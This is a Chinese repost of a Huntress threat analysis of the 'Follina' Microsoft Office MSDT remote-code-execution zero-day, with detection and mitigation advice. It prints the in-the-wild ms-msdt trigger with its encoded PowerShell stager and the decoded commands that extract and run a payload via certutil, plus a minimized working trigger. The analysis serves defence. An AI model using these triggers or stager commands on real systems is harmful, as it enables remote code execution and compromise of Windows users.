快速响应:Microsoft Office RCE - Follina MSDT 攻击

admin 2022年5月31日16:24:02评论217 views字数 5266阅读17分33秒阅读模式

0x01 了解漏洞

Huntress 团队获得了@nao_sec在 Twitter 上首次分享的样本,并检查了 Microsoft Word 文档的内容。我们已经复制了这个漏洞,并在下面分享了我们的发现。

解压缩文件会提取构成 Office 文档的所有组件。

快速响应:Microsoft Office RCE - “Follina” MSDT 攻击

word/_rels/文件夹内是一个document.xml.rels文件,其中包含对hxxps[:]//www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html的外部引用!

快速响应:Microsoft Office RCE - Follina MSDT 攻击

在撰写本文时(0041 EDT 2022 年 5 月 30 日),该网站不再在线。根据@nao_sec 之前分享的研究,我们可以从ANY.RUN 的动态分析中检索 HTML 。

这是RDF842l.html 的原始内容:

快速响应:Microsoft Office RCE - Follina MSDT 攻击


该 HTML 文档以脚本标记开头,包含大量注释的 A 字符,这些字符(考虑到它们只是注释)似乎没有任何作用……但根据我们的测试,利用大量字符是必要的火。

脚本标签的最底部是语法:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";

 这似乎是漏洞利用的症结所在。使用ms-msdt的架构,使用包含嵌入在$()中的 PowerShell 语法的参数 IT_BrowseForFile 调用本机包 PCWDiagnostic 。 

Base64编码的数据,经过两层Invoke-Expression,解码为:

$cmd = "c:windowssystem32cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:userspublic&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

cmd.exe的路径捕获为变量,此过程:

  • 启动隐藏窗口以:

    • 将此 Base64 编码的 CAB 文件存储为1.t

    • 解码Base64编码的CAB文件保存为1.c

    • 将1.c CAB文件展开到当前目录,最后:

    • 执行rgb.exe(大概压缩在1.c CAB文件里面)

    • 如果 msdt.exe 正在运行,则终止它

    • 循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串

rgb.exe的具体影响是未知的,但重要的一点是,这是一种新颖的初始访问技术,只需单击一次或更少,即可轻松地为威胁参与者提供代码执行。这对攻击者来说是一种诱人的攻击,因为它隐藏在 Microsoft Word 文档中,没有宏来触发用户熟悉的警告信号,但能够运行远程托管代码。

为了更好地理解这种威胁,Huntress 安全研究人员修改了 Word 文档的内部结构,以调用分析沙箱中的本地地址,并提供一个良性有效负载,该有效负载将显示消息而不是引爆恶意软件。

快速响应:Microsoft Office RCE - Follina MSDT 攻击

经过一些测试,很明显,如果没有大量填充字符(HTML 注释中出现的 A),有效负载将无法执行。我们探索了不同的变体,使用不同的字符并将评论块放置在触发脚本代码的上方和下方……但在社区介入之前,我们并不清楚为什么这是必要的。Rich Warren 分享 了 Bill Demirkapi 的博客,指出那里是 HTML 处理函数的硬编码缓冲区大小,我们能够确认任何少于 4096 字节的文件都不会调用有效负载

经过更多的修改,我们注意到脚本调用中使用的一些语法对于调用有效负载不是必需的。使用相同的良性有效负载(打开 Windows 内置计算器作为我们成功的演示),我们可以将触发器缩小为:

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"";

看来:

  • 在 IT_BrowseForFile 参数的开头至少需要两次 /../ 目录遍历

  • 包含在 $() 中的代码将通过 PowerShell 执行,但空格会破坏它

  • “.exe”必须是出现在 IT_BrowseForFile 参数末尾的最后一个尾随字符串

虽然这绝不是可以压缩到的最大程度,但我们希望这表明这种攻击的变体是如何存在的。

请注意,富文本格式文件 (.rtf) 可以仅通过Windows 资源管理器中的预览窗格触发此漏洞的调用CVE-2021-40444非常相似,这不仅通过“单击”来利用,而且可能通过“零单击”触发器来扩展此威胁的严重性。

快速响应:Microsoft Office RCE - Follina MSDT 攻击

此外,触发有效载荷可以到达远程位置。虽然这不太可能调用不受信任的二进制文件,但连接仍将携带 NTLM 哈希(这意味着不良行为者现在拥有受害者 Windows 密码的哈希),攻击者可以使用这些哈希进行进一步的后期利用。

快速响应:Microsoft Office RCE - Follina MSDT 攻击

感谢以前的研究人员通过分析其他方法来利用 MSDT为我们提供了这些潜在远程威胁的线索

快速响应:Microsoft Office RCE - Follina MSDT 攻击

0x02 检测工作

此攻击向量执行的有效负载将在有问题的 Microsoft Office 父级下创建 msdt.exe 的子进程快速响应:Microsoft Office RCE - Follina MSDT 攻击

此外,sdiagnhost.exe进程将与conhost.exe进程及其后续有效负载进程一起生成(我们的良性 calc.exe 将反弹并打开 Calculator.exe Metro 应用程序)。

快速响应:Microsoft Office RCE - Follina MSDT 攻击

Huntress 一直在为我们的托管安全平台添加检测功能,并积极监控威胁,包括与此漏洞相关的威胁。我们已经验证,在野外看到的特定漏洞利用Windows Defender触发 Huntress Managed Antivirus事件。此外,我们的威胁运营团队正在我们的Process Insights技术中寻找这种威胁的新变体。

如果您正在进行自己的威胁搜寻,可以在这里找到检测此威胁的 SIGMA 规则——向 Huntress 检测工程师 Matthew Brennan 致敬!

目前,Windows Defender 将检测到已知的野外恶意样本 CVE-2017-0199。虽然此威胁不是可追溯到 2017 年的漏洞,但这种检测很可能很快就会得到完善和改进。


0x03 缓解措施

虽然在撰写本文时尚未发布补丁,但您仍然可以采取缓解措施来限制您的攻击面。

如果在您的环境中使用 Microsoft Defender 的攻击面减少(ASR) 规则,则在阻止模式下激活“阻止所有 Office 应用程序创建子进程”规则将防止此漏洞被利用。但是,如果您尚未使用 ASR,您可能希望先在审核模式下运行规则并监控结果,以确保不会对最终用户产生不利影响。 

另一种选择是删除 ms-msdt 的文件类型关联(可以在 Windows Registry HKCR:ms-msdt或使用Kelvin Tegelaar 的 PowerShell 片段中完成打开恶意文档后,Office 将无法调用 ms-msdt,从而阻止恶意软件运行。在使用此缓解措施之前,请务必备份注册表设置。

0x04 正在发生的事情的非技术版本

如果您想知道如何与您的最终用户交流此漏洞利用(或者甚至需要根据您自己的知识分解此分析),以下是主要内容:

  • 这是一个突然出现的 0-day 攻击,目前没有可用的补丁

  • 这个 0-day 具有远程代码执行功能,这意味着一旦此代码被引爆,威胁参与者可以提升自己的权限并可能获得对受影响环境的“上帝模式”访问权限

  • 可用的缓解措施是行业没有时间研究其影响的混乱解决方法。它们涉及更改 Windows 注册表中的设置,这是一项严肃的工作,因为不正确的注册表项可能会使您的机器变砖

  • 引爆这个恶意代码就像打开一个 Word 文档一样简单——在预览模式下

快速响应:Microsoft Office RCE - Follina MSDT 攻击


转自https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

参考资料

[1]https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html

[2]https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

[3]https://github.com/chvancooten/follina.py

[4]https://gist.github.com/tothi/66290a42896a97920055e50128c9f040#file-ms-msdt-md

[5]https://gist.github.com/kevthehermit/5c8d52af388989cfa0ea38feace977


本文最终解释权归本文作者所有!!!

    本公众号发布的靶场、文章项目中涉及的任何脚本工具,仅用于测试和学习研究,禁止用于商业用途不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断;

     本文章、项目内场所有资源文件,杜绝任何靶本公众号、自媒体进行形式的擅自转载、发布

    本公众号对任何脚本及工具问题概不负责,包括不限于由任何脚本错误导致的任何损失或损害及任何法律责任;

    直接使用本或公众发布的技术、靶场、文章项目中涉及的脚本工具,但在某些行为不符合任何国家/地区或相关地区的情况下进行传播时,引发的隐私或其他任何法律问题的后果概不负责;

    如果任何单位或个人认为项目或文章的内容可能侵犯其权利,则应及时通知并证明其身份,证明我们将在收到证明文件后删除相关内容;

    以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明;

     本公众号保留更改或补充,免责随时声明的权利;

    一旦您访问或使用访问本公众号任何项目,则视为您已接受此免责声明。

     您在本声明未发出之时,使用或者访问了本公众号任何项目 ,则视为已接受此声明,请仔细阅读。

                                                                                         此致

    由于、利用的信息而造成的任何或直接的此文传播后果,均由用户本人负责,作者不承担任何直接责任。

一切法律后果均由攻击者承担!!!

日站不规范,亲人两行泪!!!

日站不规范,亲人两行泪!!!

日站不规范,亲人两行泪!!!

专注于信息安全方面分享,非营利性组织,不接任何商业广告

关注不迷,点赞!关注!转向!评论!!

要投稿的请留言或者加微信,会第一时间回复,谢谢

快速响应:Microsoft Office RCE - Follina MSDT 攻击


原文始发于微信公众号(每天一个入狱小技巧):快速响应:Microsoft Office RCE - “Follina” MSDT 攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月31日16:24:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   快速响应:Microsoft Office RCE - Follina MSDT 攻击http://cn-sec.com/archives/1071216.html

发表评论

匿名网友 填写信息